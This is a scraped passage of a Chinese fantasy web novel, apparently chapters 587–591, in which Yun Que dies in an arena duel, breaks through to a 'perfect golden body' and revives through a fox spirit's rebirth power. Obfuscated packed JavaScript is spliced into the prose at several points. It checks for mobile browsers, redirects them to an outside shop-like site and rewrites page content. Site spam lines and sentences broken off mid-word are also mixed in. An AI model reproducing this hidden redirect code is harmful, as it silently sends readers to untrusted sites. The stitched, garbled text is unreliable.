l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422293|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 筋 骨在此刻即将崩裂。 但云缺这次没有后退顶着朱幺的重拳迈步向前。 距离朱幺从之前的十丈缩短到三丈左右。 此时云缺的元神已经攀登到半山腰的位置山顶遥遥在望。 元神状态的云缺只是抬头看了眼山顶便继续闷头登山仿佛除了登山之外再无任何事情能打扰到他。 哪怕肉身即将灭亡也无法阻止登山的步伐。 擂台上的云缺双臂已经失去了知觉缓缓垂下但脚步没停! 朱幺死死盯着越来越近的云缺他继续轰出一记重拳。 这一拳云缺避无可避直接打在肚腹。 从云缺的后背透出了一股气浪! 气浪带着轰鸣之音宛若狂风吹出很远。 擂台下变得鸦雀无声。 从透体而出的拳劲人们几乎能体会到这一拳有多恐怖。 别说活人一面城墙都能被砸出个大洞! 若是毫无防备的挨了这一拳五脏六腑会被完全震裂! 没人怀疑云缺的伤势。 人们都很清楚云缺绝对活不成了。 事实也的确如此。 云缺的脏腑几乎在这一拳之下尽数断裂。 可是让人们惊骇不已的是云缺居然还在迈动着脚步! 与朱幺的距离从三丈变成两丈最后不到一丈! 云缺终于来到了朱幺面前。 满脸是血呼吸几乎不复存在目光空洞 此时云缺的模样就像被野猪群践踏过的布娃娃凄惨得让人不忍直视。 可云缺的嘴角仍旧挂着一抹奇怪的笑意仿佛在嘲笑着朱幺的拳头并不像别人想象的那么强大。 朱幺此时忍无可忍一声怒吼砸出了最后一拳。 “给老子去死!!!” 轰!!! 朱幺一记重拳砸在云缺的心口。 噗!!! 云缺随之喷出一口鲜血就在停住了脚步。 生机几乎完全消散。 本体几乎完全破裂。 在三品归真的接连重拳之下世上没有任何六品能扛到最后。 四周鸦雀无声针落可闻。 唯有大雨落地,溅起的连绵雨声,那雨声在人们听来有一股悲戚之感,令人为之神伤。 左兰山猛然从震惊中醒来,随后暗暗后悔。 他本该早些出手,却被云缺执着的脚步所震惊,此时的云缺,只剩下最后一口气,已经彻底没救了。 即便救回来,很快也会咽气。 在无数双或震惊、或悲愤、或绝望、或同情的目光注视之下,云缺缓慢的抬起了右手。 颤抖的五指艰难的捏成拳头。 朱幺同样也被震撼,脸上满是不可思议的表情,他呆愣愣的盯着云缺的拳头,眼睁睁看着轻飘飘的拳头落了下来。 啪。 云缺眼瞳中最后一丝光泽就此暗淡,他耗尽所有力量,终于打出一拳。 打在了朱幺的肩头。 别说打伤朱幺,甚至连朱幺肩头的灰尘都没打掉多少。 这一拳之力,就像街上遇见了熟人,见面时的招呼。 拳头虽然没什么力道,但云缺嘴角的笑容始终存在。 云缺以沙哑的声音,用最后的力量低语道: “叫爷爷……” 第588章 第二尊烈阳 叫爷爷。 听着粗鄙的一句话。 街上的顽童之间经常会如此调侃,登不上大雅之堂。 但此时此刻,云缺最后道出的三个字,却代表着世间武夫的傲然之气! 朱幺曾经嘲讽,如果云缺能打中他一拳,就管云缺叫爷爷。 在三品强者面前,六品武夫何其渺小,不值一提,如蚍蜉撼树。 可现在,云缺居然做到了! 以六品之身,打中了三品归真一拳! 小小的蚂蚁,虽然没能撼动大树,却爬到了树上,用尽全部生命啃下一片树叶,然后随着落叶飘零而下,即便摔得粉身碎骨,谁又能说这只蚂蚁,没有撼动大树呢。 此时擂台上的云缺,在人们眼里就是那只随着落叶坠落的小小蚂蚁。 尽管渺小,却有着一身的不屈之意! 那是毫无半点杂质的战意,纯粹得堪称无暇! 擂台四周的无数少年之心,此刻被尽数点燃。 鸿影沙哑着振臂大吼: “叫爷爷!!你他娘的叫爷爷!” 白誉泪流满面的吼道: “打到了!叫爷爷!” 身为唐太子,白誉彻底丢掉了矜持与皇族气质,大吼着粗俗的言辞。 商福激动的大喊道: “赌输的是孙子!叫爷爷!!” 连段无病这位儒武双修,文采斐然之人都起身大喝: “叫爷爷!” 大皇子赢财与三皇子赢人志更是齐齐大吼: “叫爷爷!” 擂台四周,喝声震天。 “叫爷爷!!” “叫爷爷!!” “叫爷爷!!” 一声高过一声的大吼,是少年们压制了多时的气闷,更是一声声的战鼓,替死去的战士在悲鸣。 人们都能看得出来,云缺在打出最后一拳的同时,生机尽散。 柳真真泪眼朦胧,心如死灰。 立于半空的左兰山,目光复杂,一语不发。 擂台上的朱幺,眼皮在乱跳,表情在狰狞,非但没有胜利者的喜悦,反而气得咬牙切齿,好像输的不是云缺而是他。 山呼海啸般的声音,云缺一点都听不到了。 他仍旧 在闷头登山。 只是周围的云雾愈发浓郁已经看不清脚下的山路仿佛走在云端。 云缺并不在乎一步也不停认准了一个方向执着的奋力攀登。 这一路到底会走到何处云缺不得而知。 但他只知道一点 唯有走下去才有抵达终点的机会。 停下来 渐渐的四周云雾里出现了不同的风景。 云缺走到一颗阴凉的老树下变成了小小的娃娃欢快的围着老树奔跑树旁坐着温柔的母亲一边拍手一边唱着童年的歌谣。 不远处的屋檐下父亲的身影正在温和轻笑。 真好啊…… 云缺享受着这份难得的童年时光想要将全部爱意都留在树下留在父母身边做一个有爹娘呵护的孩子。 不知跑了多久小小的娃娃停了下来朝着母亲与父亲挥手告别一步一回头的独自走远。 树下的母亲张开双臂恋恋不舍。 云缺迟疑了一下坚定的大步而去。 走出树下的风景云缺来到了荒凉的青狐山眼前是一间冷冰冰的木屋上宽下窄前高后低。 嘎吱。 云缺推开木屋的门习惯的来到桌旁翻出两枚蛇蛋生吞了下去然后舒舒服服的躺在木床上准备睡觉。 太累了…… 不知斩了多久的妖云缺很想永远住在这间只属于自己的小屋里任凭窗外雷鸣不断狼啸连连我只管闷头大睡一睡不醒。 突然响起的敲门声越来越急越来越响。 谁在门外扰我清净。 云缺翻了个身本想继续睡觉但心里的惦念始终无法消弭仿佛有什么重要的东西被他关在了门外。 门外到底有什么难道比我睡觉还重要? 跳下床云缺来到窗口看了看窗外。 除了风雨看不到任何东西。 可心神却愈发不宁。 犹豫了一下云缺拖着疲惫的身体打开了木门。 门外是一张苍白慌乱的俏脸。 天地间的风雨忽然停息狼啸也随之散去云缺终于看清了门外的女孩。 哦原来门 外,是红尘…… 云缺笑了笑,拉起女孩的手,走出了木屋,走出了青狐山,继续前行。 风景再次变幻起来。 云缺走进一座死亡之城,满地尸体,长街对面是一头巨大的鹿妖,正踏动巨蹄,冲锋而来。 云缺习惯的握紧右手。 可是手里没有刀,只有空空的拳头。 面对恐怖的妖物,是战?是逃? 是继续前进,还是就此折返? 云缺给出了唯一的答案,踏步而起,挥拳而战! 斩妖而已! 不知恶战了多久,云缺终于打碎了鹿妖,走出这座死亡之城。 紧接着,云缺来到金銮殿。 威严的晋皇,正高高坐在龙椅之上,面色阴沉,杀气腾腾,头顶的两根鹿角格外显眼,卑躬屈膝的老太监站在皇帝旁边,狞声冷笑。 握了握拳,云缺依旧感受不到妖刀的存在。 但他毫无惧意,大步走向龙椅,直至将皇帝与老太监全部打杀于皇宫之内,才走出了金銮宝殿。 踏出皇宫之后,云缺发现自己站在了高高的观星台上。 对面,站着儒雅而阴险的监正。 地面的青砖刻画着一条条笔直的横线与竖线,组成了一张巨大的棋盘。 棋盘上遍布着泥潭与陷阱, 有些一眼看不到底,有些冒着剧毒气泡,有些遍布刀剑,有些堆满毒虫。 云缺犹豫了。 这盘棋,太过凶险,自己能走到对面吗? 不如就此停步,远离这场凶险,保全自身。 在犹豫之际,云缺看到了监正身旁隐约浮现出一个紫袍人,袖口绣着辰龙二字。 云缺愤怒起来,不在犹豫,大步走向棋盘对面,当踏出前行的一步之后,观星台随之碎裂成虚无。 取而代之的,是一片遍布鲜血与尸体的废墟。 废墟中心,立着一张龙椅。 龙椅上,坐着血肉模糊的燕太子,正满脸遗憾的望着云缺。 云缺的脚步再次停下,目光中浮现出悲意,心头也出现了迷茫。 这条路,我走得对,还是错…… 如果能回头,会不会还选择这条路呢…… 云缺回头看去。 身后,是冰雪荒原,血海尸山,一眼望不到尽头。 有人族的尸体,有妖族的尸体,层层叠叠,白骨遍地。 那是北域妖都。 北伐之战的悲壮景象。 云缺深吸一口气,迈动脚步,继续前行。 在走过龙椅的时候,云缺拍了拍燕太子的肩头。 废墟上的龙椅与冰原上的尸骨,就此消散。 云缺继续往前走着, 爬上了一座山, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13422294|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看到山顶盛开的红莲,与倒在血泊中的女子身影。 七叔正抱着尸体无声痛哭。 云缺站在那朵凄美的红莲旁边,默立了很久很久,犹豫了很久很久。 最后留下一声轻叹,越过了高山。 高山之后,是高高的城墙。 城墙上,盘坐着圆寂的老僧,城外,无边无际的山岳力士轰鸣而来。 云缺推开了高大的城门,毅然决然的走了出去。 这一路, 云缺走过了禅杖寺,走过了雷音寺,走过了大唐皇城,走过了冒土国地底世界,走到了天龙城,走进了公主府,最后走到少年城。 终于,云缺来到巨大的擂台之下。 擂台上没有人,只有无穷无尽的狂风暴雨,电闪雷鸣,宛如绝境。 城里空荡荡, 云缺仰起头,望向高高的擂台。 一道儒衫身影出现在云缺身旁,是一位中年先生,头戴儒冠,一身儒雅。 “路,有很多条,这一条,是最难走的,也是登山的必经之路。” 儒衫先生温和的道。 云缺朝着四周看去。 果然,四面八方都有路,有的路笔直,有的路蜿蜒,有的路是山间小径,有的路崎岖不平。 而眼前的擂台,显然是一处绝境,看不到任何大路的痕迹。 云缺抬手指了指擂台,道: “我选这条!因为我要登到山顶,看一看山顶的风景。” 儒衫先生笑了起来,道: “山顶的风景未必如你所愿,也许枯燥乏味,也许丑陋扭曲,不管山顶有什么风景,你都想看么,看到自己不喜欢的风景,你也许是后悔。” 云缺道: “不到山顶,连后悔的机会都 没有一辈子平淡无奇那岂不是更加无聊我来登山 儒衫先生颔首笑道: “己所不欲勿施于人此为世间之道理己所不欲推倒重来此为你一人之道理倒也殊途同归天地中的路有很多只选自己认可的路自己期待的路方可不留遗憾既然你已决定那便登山罢。” 云缺点头称好迈步之前问道: “先生也在这座山的山顶吗?” 儒衫先生微笑着摇头道: “我在更高的山上。” 云缺躬身施学子礼然后纵身跃起一步踏上了雷电交鸣的擂台! 随着云缺落地的脚步雷鸣骤然消失黑云朝着四周快速退散连擂台也消失不见。 云缺所站的地方已经是山顶。 云雾散去云缺终于看到了山顶的景致。 远处 是连绵起伏的高山是奔流不息的长河是一望无垠的大地是万鸟齐飞的壮阔。 “山顶的景致还不错我终于上来了!” 云缺的嘴角翘起一抹笑意。 随着他的低吼整座高山盛开出无数金色的小花巍峨的山体变得金碧辉煌。 少年城内鸦雀无声。 人们呆愣愣的盯着擂台上的悲壮景象。 不知何时大雨停歇。 乌云开裂现出天边的夕阳。 落日余晖最先落在擂台随后以擂台为中心扩散开来所有人的身上都仿佛披上了一层金色的甲胄。 整个少年城在夕阳下变成了金色的孤城。 残阳如火满城金黄! 在擂台之上云缺打在朱幺肩头的指骨处忽然有一道刺眼的金芒出现。 那一点金芒压过了夕阳犹如在擂台上升起第二尊烈阳! 恭喜你可以去给书友们剧透最新章节了,他们一定会“羡慕嫉妒恨”的 第589章 不省心的臭弟弟 金芒从云缺的指骨而来,很快蔓延到手腕,手臂,肩头,直至整个本体。 最先发现异样的是朱幺。 他悚然一惊,下意识的后退两步,远离了云缺。 柳真真在台下抹了把伤心泪,都打算上台给云缺收尸了,毕竟是自己想要嫁的人,怎么也得留个全尸,好生安葬。 柳真真发现云缺身上居然出现金光,顿时惊得无以复加。 人都死了,怎么会冒光呢? 唐太子白誉瞪大了眼睛,悲伤的心里此刻升起一丝希望。 鸿影正在哇哇大哭,看到金光后他立刻闭嘴,惊呼道: “师兄没死?师兄没死!” 史得侩挠着大脑袋,先是疑惑不解,后来一敲自己的脑壳道:“坏了!这是诈尸啊!快点把他按住,真炸了就麻烦了,死无全尸啊!” 一旁的少年城众人一个个面无表情的看了看他们的大将军,齐齐在心里叹了口气。 原来咱们将军觉得诈尸,就是尸体爆炸,是炸尸啊…… 远处的段无病猛然往前迈出一步,表情变得无比激动,呢喃道: “金身……云缺进阶了金身境!金光淬体,这是完美金身!!!” 大皇子与三皇子齐齐张大了嘴巴,一脸的不可思议。 “这就完美了?”三皇子赢人志茫然道:“原来人死了以后,也能进阶的啊。” 赢财遗憾道: “生死之境,本就是进阶的最佳时机,可惜,太可惜了,驸马若能早一刻进阶,不至于身死于此,唉……” 段无病闻言如梦方醒,踉跄了一下,喟叹道: “殒命瞬间破镜完美,也算前无古人后无来者了……” 段无病之前为云缺进阶完美的现象所惊喜,现在才想起来云缺已经战死于擂台。 迟来的完美金身,如同梦幻泡影,再无任何意义。 商福抻着脖子,瞪着眼珠嘀咕道: “他到底死没死?怎么人死了还有进阶一说?” 商暮沉声道: “气息皆无,遍体鳞伤,如此伤势即便他是妖武者也得死于非命,可为何死亡之际会出现进阶的现象?莫非他身上的妖,还没死?” 商福恍然大悟道:“妹子说得有道理!肯定 是云缺死了,而他身上的妖还有一口气,替他进阶了境界!” 商暮摇头道:“不可能,妖族与人族境界截然不同,妖物不可能成为五品金身,何况还是完美金身。” 商福疑惑道:“那有没有可能,他身上的妖,也是个人呢,比如人妖……” 见妹子瞪了自己一眼,商福立刻闭嘴。 妖武者身上只能是妖族,不可能同化一个人族,那还叫什么妖武者,叫人武者还差不多。 满城少年,此刻惊疑不已,都在惊奇着云缺的异变。 进阶过程,但凡修行者都十分了解,毕竟人族修士想要修炼得强大,就要一步步进阶,从九品开始往上攀登。 但是进阶的过程,必须活人才行,哪有死人还能进阶的? 擂台上是两个活人在生死打斗,又不是僵尸在修炼。 疑惑与不解的情绪,充斥着人们的脑海,更多的,则是替云缺在遗憾。 遗憾着完美境界来得太迟。 如果云缺早一些成功进阶,以完美金身境界的五品修为,虽然斗不过三品归真,至少能多打朱幺几拳。 立于半空的左兰山,始终紧锁着眉峰。 这位大秦丞相的眼中,浮现着惊诧之色。 左兰山已经年过八旬,他自小开始在儒家修炼,其修炼的时间足有八十年之久。 这时段漫长的岁月,足以让一名桀骜不驯的懵懂少年,成长为心狠手辣的文官之首。 左兰山的阅历之广,在大秦无人能及,甚至很多事,连秦皇都要向他这位三朝元老请教。 身为儒道强者,左兰山认为世间的道理,自己早已尽数掌握,就如同儒家的无数法术,闭着眼睛都可熟练施展。 可今天, 左兰山被擂台上的景象震惊得茫然错愕,一时间脑海里一片空白。 云缺的死活,瞒不过他这位儒家强人。 自从云缺将最后一拳,打在朱幺肩上的时候,云缺其实就已经没有了生机。 而死人进阶,还是进阶到完美金身,这种异象,左兰山闻所未闻! 别说他这位大秦丞相没见过,翻遍天下古籍也没有任何记载! 死而复生,看似玄奥,其实在左兰山眼里不算什么。 他 至少知道三种以上,能让刚死之人起死回生的手段,只不过代价全都极大,绝非寻常修士可以做到。 代价大,不代表做不到。 即便云缺死而复生,左兰山都不会如此惊讶。 真正让左兰山震惊的,是死人还能进阶完美金身的奇迹! 已死之躯,本该成为污秽之物,却偏偏达成了完美之境! 这是什么道理? 明悟天下间所有道理的大秦丞相,现在想不通了。 这就不是什么道理,而是根本不讲道理! 金色的夕阳之下,少年城被映衬得宛如金碧辉煌的世界。 而这片金光遍布的世界当中,最耀眼的,是擂台上的已死之躯。 刺眼的金芒在云缺周身掠过, 从天灵直至脚底,云缺整个人宛如一尊金色的雕像,以打出一拳的姿态,永远凝固在擂台之上。 如此姿态,代表着天下少年的不屈之心! 面对无法匹敌的强者,依旧勇往无前的无限战意! 只是这份战意与不屈,在擂台周围的人们眼里,变得苍凉而悲壮。 就像即将落入大地的夕阳,在最后一缕阳光消失之后,便会迎来漆黑的夜晚。 夜晚确实黑暗,但是少年们忘记了最为关键的一点。 再如何漫长的夜晚,终有结束的时候,黎明之际,烈阳还会再次升起! 天空中,那轮周而复返的烈日,真正代表的意义,是永不停息,永不屈服! 咔嚓!! 咔嚓!! 细微的碎裂声,在云缺身上出现。 满身金芒犹如雕像般的云缺,肉身居然出现了无数密密麻麻的裂纹。 一片片金色的光芒开始碎裂,不等落地便化作虚无。 四周的所有人,全都瞪大了眼睛,惊讶不已的望着擂台。 擂台上的朱幺仿佛察觉到了什么,下意识的再次后退了一步,神色变得愈发阴冷。 云缺此刻的模样,好似一个碎裂的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430500|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋壳,仿佛有什么东西要破壳而出! 白誉,鸿影,柳真真,段无病等云缺的友人纷纷在心里生出了一丝希望,期待着云缺能死而复生。 即便大家都知道这种奇迹太过渺茫,仍旧虔诚的为云缺在祈祷。 无数的少年修士也在心里升腾起期待, 云缺的擂台之战,早已被少年们所认可,在大家的眼中,云缺就是真正的少年王! 哪怕败给了归真强者,依旧当得上无冕之王的称号! 大家都不想云缺就这么死去,无数人都在期待着云缺能活过来。 众多的期待汇聚在一起,仿佛当真触发了奇迹! 当金光完全消散,擂台上仍旧是云缺的身影。 没有天神下凡般的威武,也没有百战不灭的霸气,仍旧是一身破破烂烂的衣袍,仍旧满身是血,两只手臂仍旧是森森白骨,五指上几乎没有了丝毫血肉。 但是云缺有了呼吸! 呼…… 一口浊气,从云缺口中喷了出来,竟带着些许金色的光晕! 云缺在吐气,周围的无数少年们却在震惊得倒吸冷气。 嘶嘶的响动此起彼伏。 人家吐气,说明还没死! 吸气过后,无数少年们传出震天动地的欢呼! “没死!太好了哈哈没死!!! “活过来了!居然还活着! “一定是老天眷顾!死而复生! “什么老天眷顾,人家本来就没死!刚才肯定是为了进阶装死而已!这叫兵不厌诈! “这下好了!五品金身打不过三品归真,至少能逃离擂台! “不是普通五品!我进阶五品金身境的时候根本没有金光! “金身境,都没金光吗?那还叫什么金身? “谁说金身境就得有金光啊,你手里的银票难不成都是银子做的? “银票是纸做的,但确实能换银子啊。 “都瞎说什么呢!人家那是传说中的完美金身!同阶无敌!甚至能越阶挑战四品破军! “什么!完美金身!世上真有完美金身! “卧槽!我居然亲眼见证了完美金身!这辈子不白活啊! 擂台上,云缺吐出一口浊气之后,豁然睁开双眼。 两只眸子清澈得犹如万年古井,瞳孔中心各有一道金芒一闪而逝。 与此同时! 云缺双手的白骨上,开始出现血肉,犹如野草般狂长! 碎裂的内脏顷刻间复原! 断裂的心脉恢复成原样! 身上的所有伤势,几乎在瞬间消失,就好像从来没有过半点伤口一般。 宛如重生! 随着云缺肉身的伤势恢复如初,识海之内,月魁的尾巴消失了一条,从四条,变成了三条。 “又搭一条命,不省心的臭弟弟,早晚被你拖累死…… 月魁呢喃着卷缩在大殿里,嘴里说着埋怨之词,可眼里却浮现着欣慰的光泽。 用自己天赋之力的一条命,换来弟弟成功进阶完美金身,月魁的内心觉得还不算赔。 在月魁看来,云缺越强,走的就会越远,她也能看到越来越多有趣的事情与风景,月魁自己都没发觉,她这位北域妖都的慵懒公主,早已沉沦在云缺的生命当中,无法自拔。 第590章 他是驸马还是父皇 咔吧!咔吧! 擂台上的云缺浑身筋骨发出连串的脆响强烈的生机在身上起伏不休。 自从明悟了完美之门不是那座境界大门而是其后的高山之后云缺终于看到了进阶完美的希望。 而打中朱幺的那一拳则是走上高山的第一步。 没有第一步就没有其后的登山之路云缺没办法只能赌一次。 赌自己在死亡的瞬间是否有机会爬到山顶。 这是一次豪赌。 以一条命为代价赌进阶完美金身! 云缺赌赢了。 但是险之又险。 月魁的复生之力确实可以让云缺死而复生但必须在死亡的同时就动用天赋如果相隔时间过长那就真死了再没机会活过来。 所以云缺破境的时间其实很短。 只有从擂台对面走到朱幺近前这段路程。 云缺必须在月魁发动复生天赋之前也就是死亡的临界点之前完成进阶否则的话死而复生之后仍旧是六品修为与完美境界再无关联。 幸好在最后一刻云缺终于登上了山顶几乎同时月魁的天赋随之发动。 云缺醒来之后体会了一番如今的境界。 浑厚的气机在周身流转比之前六品的时候要强大百倍! 尤其这份气机毫无杂质精纯得宛如被精心祭炼过一般。 这种感觉云缺第一次体会。 武者的气机类似于其他修士的法力虽然强大但杂质颇多只是没人在乎。 武夫本就是莽汉在意的是拳力多强脚力多重气机那东西自然越多越好有没有杂质无所谓。 云缺之前也感受到自身气机并不纯粹只是无能为力。 人家其他派系的修行者可以自己凝炼法力随着境界的提升即可将法力中的杂质慢慢剔除达到施法威能不断提升的效果。 同样是一招冰剑法术用同样程度的法力施展出来境界越低威能越低。 九品修士用出来 这与法力的强弱无关完全是法力的精纯程度使然。 同样程度 的法力运转会达到不同程度的效果。 云缺如今的气机精纯程度连他自己都有些不可置信! 云缺试了试朝地面随意打出一拳。 这一拳是隔空打的在外人看来云缺就像在舒展着筋骨单手往下随意的压了一下而已。 下落的拳气将地面震出一些细密的裂纹。 仅仅随意尝试了一下云缺的内心却是震撼的! 刚才的拳气如果放在六品的时候根本无法在坚固的岩石地面留下任何痕迹。 别说隔空就是贴着地面也很难做到。 因为云缺动用的力道实在太小这股气机以云缺的估计如果直接打在砖石上肯定能将砖石砸出裂纹即便打断也算正常。 但少年擂的地面是坚固的岩石以大块的岩石拼接而成。 岩石与砖块可不是同一样东西前者要坚硬得多。 云缺低着头望着脚下细小的裂纹心头充满了惊喜。 如此微小的气机即可隔空在岩石上留下裂纹正常的五品金身绝对做不到而自己却能轻易做到。 就好比同样身高的两个人一个全力跃起能摸到房梁另一个全力跃起直接冲破房顶而出! 这便是完美与普通的天差地别! 云缺深吸一口气往前踏出一步吐气开声。 喝!! 一步落地脚下狂风顿起! 一圈圆环的气浪朝着四面八方溢出 气浪形成的风力吹得台下众人衣衫翻飞头发狂摆。 有帽子的急忙扶住帽子戴斗笠的急忙稳住斗笠有头发的赶紧以手遮头没头发的觉得好生凉快。 一些穿着裙衣的女修士急忙捂住裙摆。 狂风过后人们再次抬头朝着擂台望去。 云缺周身涌动的气机几乎形成了小型的风团衣衫虽然残破却宛如古旧的战袍在风中猎猎作响! 此刻 云缺心头畅快至极! 仿佛头顶的天空不再高远触手可及。 仿佛远处的大地不再宽广跨步可达。 天地间的一切都变得更加清晰。 空气中的细小尘埃野草生长 时挤压泥土的微小声响飞虫每一次扇动翅膀的动作每一滴雨水下落的轨迹全部清清楚楚的展现在眼前。 不仅感知能力得到了巨大的提升云缺的心境也趋于完美。 仿佛自己不再是粗俗的武夫而是……无敌的战神! 当四散的气浪消失云缺傲然而立。 依旧是那副并不算多么强壮的身体但是整个人的气质明显变得无比自信愈发坚毅。 感受着境界提升后的区别更加令云缺惊讶的其实是这副本体。 金身境与宗师境最大的区别其实是肉身的强化。 当六品宗师武者突破到五品金身境相当于得到了一次难得的淬炼良机本体肉身会被破境之力强化数倍以上甚至有人能达到十倍。 这也是为何金身境武者如此耐打的原因所在。 不像其他派系修士的境界那么玄奥晦涩武夫的境界名称取得都十分贴切。 或者说接地气。 九品炼体就是打熬身体八品炼骨是打熬筋骨七品炼神是磨练元神六品宗师是武道精湛。 五品金身取不败金身之意。 金身自然牢不可破。 其他武夫在冲进五品金身的时候 现在云缺的本体几乎达到了三阶大妖的程度! 别说其他五品金身做不到世间的破军也做不到甚至三品归真也没有如此强悍的肉身本体! 现在的云缺或许战力远远达不到三阶大妖那么可怕但是本体已经相差不多足以称得上人形妖兽! 云缺恢复如初令周围众人惊诧的同时更欣喜若狂。 柳真真眼含泪光由衷替云缺高兴更替自己高兴因为她又能嫁人了。 史得侩一张大脸憋得通红激动得差点把自己牙齿咬断能亲眼见证完美金身的诞生令这位少年城的大将军又是羡慕又是嫉妒。 鸿影喊得嗓子如同破锣仍旧高呼不断他已经下定决心将师兄当做此生追赶的目标只要能追上师兄的脚步这辈子就不算白活。 段无病充满了感慨心说果然如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13430501|110198||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此 能将学宫闹得鸡飞狗跳的主儿又岂能轻易死去。 大皇子赢财的心里则冒出个古怪的念头他觉得人要是坏到一定程度是不是就打不死了? 三皇子赢人志整个人都是呆愣状态茫然的盯着擂台上的云缺嘀咕道: “那玩意到底是什么他是驸马还是父皇?” 啪一声。 旁边的赢财照着他三弟的脑袋来了个脑盖骂道:“胡说什么呢!能是父皇么那就是驸马!你是不是缺爹了。” 赢人志被打了清醒过来揉着脑袋委屈的道:“驸马简直是个怪物一样哪有死而复生还能进阶完美金身的除了父皇……” “闭嘴!”赢财脸色一变喝止了三皇子。 赢人志悚然一惊急忙把后面的话咽了下去老老实实坐在椅子上看打擂。 台下的商福咽了下口水小声嘀咕道: “妹子啊以后咱们离那家伙远点他打不死啊!老虎肯定没戏了就算他不是妖武者咱们也打不过他……” 商暮的神色比他哥哥还要震撼秀眉紧蹙满眼震惊的低语道: “他是妖武者他的妖有复生天赋……” 在场的所有人唯有商暮一人看出了云缺死而复生的真相。 其他人都在震惊着云缺的完美金身而商暮则在震惊着云缺身上的妖! 风雷虎确实珍惜若能融合将得到风雷之力的加持 但是复生天赋比风雷之力要罕见百倍千倍! 那是妖族中最为古老的异种才能拥有的天赋之力并且很难被运用在妖武者的身上。 在商暮的认知中 妖血武夫能驾驭妖力却难以沟通妖魂。 妖武者所做的其实是利用妖力借助妖之力来大幅提升自身战力而非完全的融合妖魂控制妖魂。 她身上的星狼之力可以被她随时动用可一旦动用过量自己的神魂就会被星狼之魂所吞噬失去自我成为完全妖化的怪物。 这是妖武者的最大弊端商暮又如何不知。 但她惊讶的发现擂台上的云缺好像能与妖魂沟通! 不仅能沟通居然还能动用妖魂的天赋力量! 一个更加震惊的念头在商暮心底升起。 难道擂台上的云缺即便将妖力尽数释放最终也能清醒过来不会被妖魂吞噬? 这个念头让商暮对自己的理解出现了错乱。 超出了妖武者的武者又是什么? 他到底如何做到的? 这根本不可能啊! 作为大商遗民商暮知道大商覆灭的真相。 被大秦进攻只是其中之一还有最重要的一点已经埋葬在悠久的岁月之中。 大商的妖武者在与大秦的亡命之战当中有绝大多数因为失控妖化而变成了怪物最终被自己身上的妖物所杀掉。 正因为这个弊端让商暮商福两兄妹苦苦追寻着破解之法只有找到能完全驾驭妖魂的手段大商才有机会重新出现在云州大地。 而云缺身上的奇迹让商暮看到了一个契机! 重建妖武大商的契机! 看这本书的人都是很幸运的,分享后你的运气会更棒的 第591章 最后一块垫脚石 与其他人相似,立于半空的丞相左兰山同样被震撼得无以复加。 除了震撼之外,左兰山心里还有着深深的疑惑。 左兰山第一个疑惑,便是驸马那惊世骇俗的胆量。 他越来越觉得擂台上的驸马,与唐太子的身份有着不符之处。 大唐太子尊贵之躯,岂能在擂台上如此找死,少年王的名号确实有足够的吸引力,可如果代价是死亡的话,几乎没人有这个胆量。 左兰山第二个疑惑,是唐太子与妖有关的本体。 左兰山目睹着驸马被打到生机皆无的全部过程,并未看到驸马动用任何灵丹妙药或者稀世珍宝,死而复生的能力仿佛与生俱来。 以左兰山高深的修为,他虽然没看到云缺身上的妖魂,却在云缺恢复生机的那一刻,感受到了妖力的存在。 尽管只有微弱的极少妖力,仍旧没逃过左兰山的敏锐感知。 左兰山最后一个疑惑,是唐太子如妖的心智与无赖般的作风。 没脸没皮的人,左兰山虽然嗤之以鼻,但他不得不承认,这种人往往活得比所有人都好,如果再加上高绝的心智,那简直是一方诸侯的最佳人选,绝对的帝王之姿。 一个在意脸面的皇帝,虽然能做出皇家的表率,赢来更高的声望,但未必能令国度变得强大。 一个不要脸又心智如妖的皇帝,同样有手段获取更多的声望,并且绝对能让国度越来越强。 左兰山的眼里,擂台上的唐太子才是大唐帝王的最佳人选! 若是当今唐皇退位,让唐太子登基,恐怕二十年内,大唐的实力足以抗衡大秦。 可是唐皇居然将这位天生的帝王,当做了质子,送来大秦,任人宰割,这种事不亚于杀鸡取卵,断了大唐的未来。 三分疑惑,让左兰山的心头迟迟难以平静。 望着擂台上的驸马,左兰山在心里暗暗低语。 他,到底是不是唐太子…… 相比于其他人的震撼,朱幺的心情可以用惊悚来形容。 他眼睁睁看着云缺被打死,又眼睁睁看着云缺在自己面前死而复生,如此诡异的现象,令朱幺接连倒退数步,惊疑不定的道出两个字。 “不灭……” 朱幺的声音极低 